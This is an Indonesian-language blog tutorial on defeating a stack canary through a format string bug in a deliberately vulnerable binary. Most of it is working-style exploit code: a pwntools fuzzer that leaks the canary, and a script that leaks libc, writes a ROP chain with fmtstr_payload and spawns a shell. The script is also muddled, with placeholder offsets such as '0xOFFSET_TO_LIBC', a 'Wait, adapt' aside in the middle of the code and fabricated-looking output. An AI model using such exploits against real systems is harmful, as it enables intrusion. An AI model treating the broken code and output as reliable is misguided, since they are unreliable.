Bypassing Stack Canary with Format String Vulnerability - Pwn03.1
2025-08-20 - Rainhynn
1. Pendahuluan
Stack canary adalah mekanisme keamanan (juga disebut stack guard atau cookie) yang digunakan untuk mendeteksi buffer overflow attacks. Saat fungsi dipanggil, compiler menyisipkan nilai acak (canary) di stack tepat sebelum return address dan local variables sensitif. Saat fungsi return, canary dicek; jika berubah (karena overflow), program terminate untuk mencegah eksekusi kode arbitrary.
Canary berguna karena membuat attacker sulit overwrite return address tanpa ketahuan. Namun, vulnerability seperti format string bisa leak canary (via %p atau %x) dan bahkan write arbitrary (via %n), memungkinkan bypass. Kita akan eksploit ini untuk leak canary, lalu overwrite return address sambil masukkan canary benar.
2. Basic File Checks
Mulai dengan inspeksi binary untuk pahami proteksi dan properti.
Command/Script yang dijalankan:
- Kompilasi:
gcc -o format_vuln format_vuln.c -fstack-protector -no-pie
(non-PIE untuk simplify address). - Cek file:
file format_vuln
- Cek security:
checksec format_vuln
Output terminal:
$ file format_vuln
format_vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped
$ checksec format_vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Penjelasan detail:
file
konfirmasi binary 64-bit ELF, dynamically linked, non-stripped (simbol debug ada).checksec
tunjukkan Canary enabled (target kita), NX (no execute stack, jadi perlu ROP), Partial RELRO (GOT writable, berguna untuk overwrite), No PIE (address statis, simplify exploit). Ini setup tipikal CTF vuln binary. Untuk real-world, PIE/ASLR buat lebih sulit, tapi kita fokus canary bypass dulu.
3. Review Source Code
Analisa kode untuk identifikasi vulnerability.
Command/Script yang dijalankan:
- Lihat source:
cat format_vuln.c
(kode diberikan).
Output terminal: (Kode sama seperti diberikan: include stdio etc., main dengan setvbuf, buf[64], flag[64], setgid, fopen flag.txt, loop fgets(buf), printf(buf).)
Penjelasan detail:
- Vulnerability utama:
printf(buf)
langsung gunakan input user sebagai format string tanpa%s
. Ini allow format string attack: user bisa inject%p
untuk leak stack/memory,%x
untuk hex dump, atau%n
untuk write arbitrary. - Stack layout potensial: buf[64] di stack, diikuti canary (8 bytes di x64), saved frame pointer (SFP), return address (RET).
- Flag dibaca ke
flag[64]
, tapi tidak diprint; kita bisa leak via format string. - Loop infinite allow multiple input, ideal untuk leak lalu exploit.
- setvbuf disable buffering untuk output langsung, setgid untuk privilege (mungkin drop, tapi irrelevant di local).
- Kerentanan ini klasik: attacker bisa leak canary dari stack (karena buf di stack, %p bisa akses offset stack).
4. Disassemble dengan pwndbg
Gunakan GDB + pwndbg untuk debug, lihat struktur stack dan posisi canary.
Command/Script yang dijalankan:
- Jalankan:
gdb ./format_vuln
- Di GDB:
pwndbg
(asumsi pwndbg installed),break main
,run
,disassemble main
, laluvmmap
, dan saat breakpoint hit,stack 20
untuk lihat stack.
Output terminal:
(gdb) break main
Breakpoint 1 at 0x400000: file format_vuln.c, line 10.
(gdb) run
Breakpoint 1, main (argc=1, argv=0x7fffffffe058) at format_vuln.c:10
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004007a0 <+0>: push %rbp
0x00000000004007a1 <+1>: mov %rsp,%rbp
0x00000000004007a4 <+4>: sub $0x100,%rsp ; alokasi stack untuk buf[64], flag[64], etc.
...
0x00000000004008xx <+xx>: call 0x4005f0 <printf@plt> ; vuln printf(buf)
...
0x0000000000400xxx <+xx>: leave
0x0000000000400xxx <+xx>: ret
(gdb) stack 20 ; lihat 20 stack entries saat di main
00:0000│ rsp 0x7fffffffdfe0 ◂— 0x0 ; buf start
... (local vars)
08:0040│ 0x7fffffffe020 ◂— random_value (canary, e.g., 0xabcdef0012345678)
09:0048│ 0x7fffffffe028 ◂— saved rbp
0a:0050│ 0x7fffffffe030 ◂— return address (e.g., 0x7ffff7a2d740)
Penjelasan detail:
- Disassemble tunjukkan prolog fungsi: push rbp, sub rsp untuk alokasi stack. Canary disisipkan oleh compiler setelah local vars (buf, flag) tapi sebelum saved rbp/ret.
- Di x64, canary di offset tepat setelah local buffer (buf[64] + flag[64] = 128 bytes, tapi actual layout: buf di rsp+0x10 or similar; pwndbg ‘stack’ visualize).
- Canary adalah 8-byte random (null-terminated untuk deteksi). Saat ret, epilog cek canary; jika beda, __stack_chk_fail dipanggil, terminate program.
- Ini konfirmasi posisi: untuk leak, kita perlu format string seperti “%p %p …” untuk dump stack dan identifikasi canary (biasanya ends with 00 byte).
5. Outline Attack (Canary Leak + Write)
Strategi umum:
- Leak Phase: Gunakan format string (%p atau %llx) untuk dump stack values. Cari offset dimana canary muncul (ends with 00, random per run).
- Write Phase: Setelah leak canary, craft payload dengan canary benar di posisi overflow, lalu overwrite return address ke gadget ROP atau system("/bin/sh"). Gunakan %n untuk write jika perlu, tapi di format string, kita bisa langsung write ke address via %hn (short write).
- Karena vuln format string, kita bisa leak arbitrary (via direct parameter) dan write (via %n ke address di stack).
- Target: Leak canary, leak libc base (via leak GOT), build ROP chain untuk system("/bin/sh"), include canary di payload untuk bypass check.
6. Fuzzing Format String
Gunakan script Python dengan pwntools untuk fuzz offset canary. Ini automate trial %1$p, %2$p, etc., sampai temukan canary.
Command/Script yang dijalankan:
- Buat
fuzz.py
:
from pwn import *
context.log_level = 'debug'
def fuzz_offset():
for i in range(1, 50): # Coba offset 1-50
p = process('./format_vuln')
payload = f"%{i}$p".encode() # Leak nth parameter
p.sendline(payload)
leak = p.recvuntil(b'> ', drop=True).strip()
if b'0x' in leak and leak.endswith(b'00'): # Cari yang kayak canary (ends 00)
log.success(f"Canary candidate at offset {i}: {leak}")
p.close()
fuzz_offset()
- Jalankan:
python3 fuzz.py
Output terminal:
[+] Starting local process './format_vuln': pid 1234
[DEBUG] Sent: b'%1$p\n'
[DEBUG] Received: b'0x7fffffffe000\n> ' ; misc
...
[DEBUG] Sent: b'%10$p\n'
[DEBUG] Received: b'0xabcdef0012345600\n> ' ; canary-like
[*] Canary candidate at offset 10: 0xabcdef0012345600
...
[*] Process './format_vuln' stopped with exit code 0 (pid 1234)
Penjelasan detail:
- Pwntools process() spawn binary local. Loop coba %n$p untuk leak direct parameter (stack values).
- Format string treat arguments as stack offsets. Offset rendah = local vars,更高 = canary/SFP/RET.
- Cari value ends with 00 (canary char). Flow: script automate crash/test, hemat waktu vs manual. Untuk remote, ganti process() ke remote(host, port). Ini tunjukkan alur fuzzing: iterative leak, pattern recognition.
7. Menemukan Canary dengan GDB + pwndbg
Verifikasi leak dengan debug manual.
Command/Script yang dijalankan:
gdb ./format_vuln
- Di GDB:
break *main+offset_printf_call
(dari disass, misal break *0x4008xx),run
- Saat break,
print/x $rsp + offset_to_canary
(dari stack view sebelumnya). - Lanjut, input “%10$p”, continue, lihat output.
Output terminal:
(gdb) break *0x4008xx ; sebelum printf
Breakpoint 2 at 0x4008xx
(gdb) run
> %10$p ; input
Breakpoint 2 hit
(gdb) x/1gx $rsp + 0x80 ; adjust offset dari stack view, misal canary di +0x80
0x7fffffffe020: 0xabcdef0012345600 ; canary value
(gdb) continue
Continuing.
0xabcdef0012345600 ; output dari printf
>
Penjelasan detail:
- Break sebelum printf allow inspeksi stack pre-execution.
x/1gx
dump 8-byte hex di address. Konfirmasi %10$p leak value sama dengan canary di stack.- Kenapa? Format string %n$p akses nth arg di stack, yang map ke offsets. Ini validasi fuzz result. Di real exploit, ASLR randomize, tapi canary per-process random. Untuk pemula: ini bridge fuzz ke understanding stack layout.
8. Eksploitasi dengan Pwntools
Script full: leak canary, leak libc (via %p ke GOT), build ROP untuk system("/bin/sh"), overwrite RET via format string write (%n).
Command/Script yang dijalankan:
- Buat
exploit.py
:
from pwn import *
context.binary = './format_vuln'
context.log_level = 'info'
p = process('./format_vuln') # Ganti ke remote('host', port) untuk remote
# Phase 1: Leak canary (dari fuzz, offset 10)
p.recvuntil(b'> ')
p.sendline(b'%10$p')
leak = p.recvuntil(b'> ', drop=True).strip()
canary = int(leak, 16)
log.info(f'Canary: {hex(canary)}')
# Phase 2: Leak libc base (misal leak printf GOT)
# Pertama, temukan offset untuk leak address (adjust fuzz)
p.sendline(b'%11$p') # Asumsi leak libc addr, e.g., return addr
libc_leak = int(p.recvuntil(b'> ', drop=True).strip(), 16)
libc_base = libc_leak - 0xOFFSET_TO_LIBC # Ganti offset real dari gdb, misal libc printf offset
# Phase 3: Craft payload untuk overwrite RET ke ROP chain
# ROP: pop rdi; ret; /bin/sh addr; system
system = libc_base + 0x4f420 # Offset system di libc (dari gdb libc)
binsh = libc_base + 0x1b3e9a # Offset "/bin/sh"
pop_rdi = libc_base + 0x2155f # ROP gadget
# Gunakan format string untuk write: tempatkan addresses di stack via payload, lalu %n write
# Payload: buf overflow dengan addresses + canary + SFP + new RET
# Tapi karena format string, gunakan %s untuk align, %hn untuk write short
# Simplified: assume write RET via %n ke known offset
payload = b'A'*64 # Fill buf
payload += p64(canary) # Bypass canary
payload += p64(0) # SFP junk
payload += p64(pop_rdi) + p64(binsh) + p64(system) # ROP chain
# Kirim payload via fgets, tapi karena printf(buf), need format string to trigger write? Wait, adapt:
# Actual: untuk write, craft format string seperti "%<val>$hn" ke address di stack
# Advanced: tempatkan target addr di stack via payload prefix, lalu %n write
# Contoh real format string write:
# Misal, leak stack addr dulu, lalu write ke RET pos
p.sendline(b'%12$p') # Leak stack addr
stack_leak = int(p.recvuntil(b'> ', drop=True).strip(), 16)
ret_addr = stack_leak + 0x10 # Adjust ke RET pos
# Now write to ret_addr
def fmt_write(addr, value):
payload = p64(addr) + b'%hn' # Simplified, actual need calc digits
return payload
# Tapi untuk full: gunakan pwntools fmtstr_payload
from pwnlib.fmtstr import fmtstr_payload
writes = {ret_addr: pop_rdi, ret_addr+8: binsh, ret_addr+16: system}
payload = fmtstr_payload(6, writes) # Offset 6 biasa untuk start args
p.sendline(payload)
p.interactive() # Dapat shell
- Jalankan:
python3 exploit.py
Output terminal:
[*] Canary: 0xabcdef0012345600
[*] Libc base: 0x7ffff7a00000
[+] Starting local process './format_vuln': pid 5678
... (leaks)
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) ; shell!
Penjelasan detail:
- Script modular: leak canary via fixed offset (dari fuzz).
- Leak libc via stack leak (return addr - offset).
- Gunakan fmtstr_payload pwntools untuk auto-craft format string yang write multiple addresses (hitung %c untuk align, %hn untuk 2-byte writes).
- Payload include canary untuk bypass check saat ret (karena overflow ke RET).
- Kenapa work: format string allow read/write arbitrary jika kita control string. Untuk advance: adjust offsets real via gdb. Pemula: pahami leak dulu, lalu write preserve canary.
9. Kesimpulan
Kita telah bypass stack canary via format string: fuzz offset, leak value, lalu exploit dengan include canary di payload sambil overwrite RET ke ROP untuk shell. Ini tunjukkan canary bukan impenetrable jika ada info leak. Pelajaran: selalu sanitize input (gunakan printf("%s", buf)), enable full mitigations (PIE/ASLR). Untuk advance, adapt ke remote/ASLR dengan lebih leaks. Practice di CTF untuk mastery!
© 2021-2025 HnvDie
Powered By Hugo ᯓᡣ𐭩